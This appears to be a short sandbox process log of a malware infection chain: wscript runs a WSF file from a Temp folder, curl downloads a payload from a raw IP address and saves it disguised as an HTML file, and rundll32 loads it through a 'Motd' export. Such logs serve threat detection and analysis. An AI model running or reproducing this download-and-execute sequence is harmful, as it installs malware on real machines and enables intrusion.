wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Funds_366728.wsf
1000curl.exe "C:\util\curl\curl.exe" --output c:\programdata\index.html --url http://216.120.201.169/aSxBaqnfj9.dat
2144rundll32.exe "C:\Windows\System32\rundll32.exe" c:\programdata\index.html,Motd
2580